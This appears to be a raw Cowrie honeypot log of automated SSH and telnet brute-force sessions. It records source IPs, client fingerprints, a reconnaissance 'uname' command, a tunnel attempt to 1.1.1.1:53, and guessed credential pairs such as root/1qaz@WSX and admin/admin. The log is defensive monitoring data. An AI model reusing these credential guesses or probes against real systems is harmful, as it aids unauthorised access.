{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:24.223812Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60152,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef37a94c4793","protocol":"telnet","message":"New connection: 170.64.224.25:60152 (159.203.135.109:23) [session: ef37a94c4793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:24.373322Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:24.458488Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:24.462349Z","src_ip":"160.187.174.22","session":"6b49f87f5460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.0222339630127,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:40.621341Z","src_ip":"170.64.224.25","session":"425215d6671e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33344,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aed9a6730d0","protocol":"ssh","message":"New connection: 109.237.96.109:33344 (10.17.0.5:22) [session: 7aed9a6730d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:47.134263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:47.137888Z","src_ip":"109.237.96.109","session":"7aed9a6730d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:47.222575Z","src_ip":"109.237.96.109","session":"7aed9a6730d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021980","message":"login attempt [root/11021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:47.476898Z","src_ip":"109.237.96.109","session":"7aed9a6730d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:48.562573Z","src_ip":"109.237.96.109","session":"7aed9a6730d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37030,"dst_ip":"159.203.135.109","dst_port":23,"session":"852ee6eff8bb","protocol":"telnet","message":"New connection: 170.64.224.25:37030 (159.203.135.109:23) [session: 852ee6eff8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:50.351102Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40442,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e22c3adbc64","protocol":"ssh","message":"New connection: 160.187.174.22:40442 (159.203.135.109:22) [session: 7e22c3adbc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:50.410254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:50.414425Z","src_ip":"160.187.174.22","session":"7e22c3adbc64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:50.650597Z","src_ip":"160.187.174.22","session":"7e22c3adbc64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.52005243301392,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:51.297724Z","src_ip":"170.64.224.25","session":"1f0f0f86beb6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:51.589556Z","src_ip":"160.187.174.22","session":"7e22c3adbc64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.705801010131836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:52.330659Z","src_ip":"107.6.151.170","session":"691bab6fb920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:52.821815Z","src_ip":"160.187.174.22","session":"7e22c3adbc64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.60342884063721,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:01:59.004545Z","src_ip":"170.64.224.25","session":"66b6cb2d3b26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.54180431365967,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:01.915026Z","src_ip":"170.64.224.25","session":"ef37a94c4793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40884,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd7f82b71291","protocol":"ssh","message":"New connection: 103.82.132.16:40884 (159.203.135.109:22) [session: dd7f82b71291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:08.973294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:08.977122Z","src_ip":"103.82.132.16","session":"dd7f82b71291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:09.235712Z","src_ip":"103.82.132.16","session":"dd7f82b71291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03081995","message":"login attempt [root/03081995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:10.024852Z","src_ip":"103.82.132.16","session":"dd7f82b71291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:11.287458Z","src_ip":"103.82.132.16","session":"dd7f82b71291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":44562,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7501cef19c","protocol":"ssh","message":"New connection: 176.53.159.196:44562 (10.17.0.5:22) [session: 4e7501cef19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:11.565439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:11.569797Z","src_ip":"176.53.159.196","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:11.667013Z","src_ip":"176.53.159.196","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:11.967686Z","src_ip":"176.53.159.196","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:12.068875Z","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:12.166702Z","src_ip":"176.53.159.196","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:12.265827Z","src_ip":"176.53.159.196","session":"4e7501cef19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59326,"dst_ip":"159.203.135.109","dst_port":22,"session":"c507036318e7","protocol":"ssh","message":"New connection: 160.187.174.22:59326 (159.203.135.109:22) [session: c507036318e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:18.118397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:18.128672Z","src_ip":"160.187.174.22","session":"c507036318e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:18.360605Z","src_ip":"160.187.174.22","session":"c507036318e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:19.318366Z","src_ip":"160.187.174.22","session":"c507036318e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.870641708374023,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:20.221654Z","src_ip":"170.64.224.25","session":"852ee6eff8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:20.564734Z","src_ip":"160.187.174.22","session":"c507036318e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":48754,"dst_ip":"10.17.0.5","dst_port":22,"session":"95771e5945c8","protocol":"ssh","message":"New connection: 162.144.58.21:48754 (10.17.0.5:22) [session: 95771e5945c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:28.178288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:28.182554Z","src_ip":"162.144.58.21","session":"95771e5945c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:28.271449Z","src_ip":"162.144.58.21","session":"95771e5945c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password*&(","message":"login attempt [root/password*&(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:28.539960Z","src_ip":"162.144.58.21","session":"95771e5945c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:29.632188Z","src_ip":"162.144.58.21","session":"95771e5945c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52278,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f340fd366cc","protocol":"ssh","message":"New connection: 160.187.174.22:52278 (159.203.135.109:22) [session: 9f340fd366cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:43.292537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:43.358185Z","src_ip":"160.187.174.22","session":"9f340fd366cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:43.537867Z","src_ip":"160.187.174.22","session":"9f340fd366cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:44.775687Z","src_ip":"160.187.174.22","session":"9f340fd366cc","protocol":"ssh"}
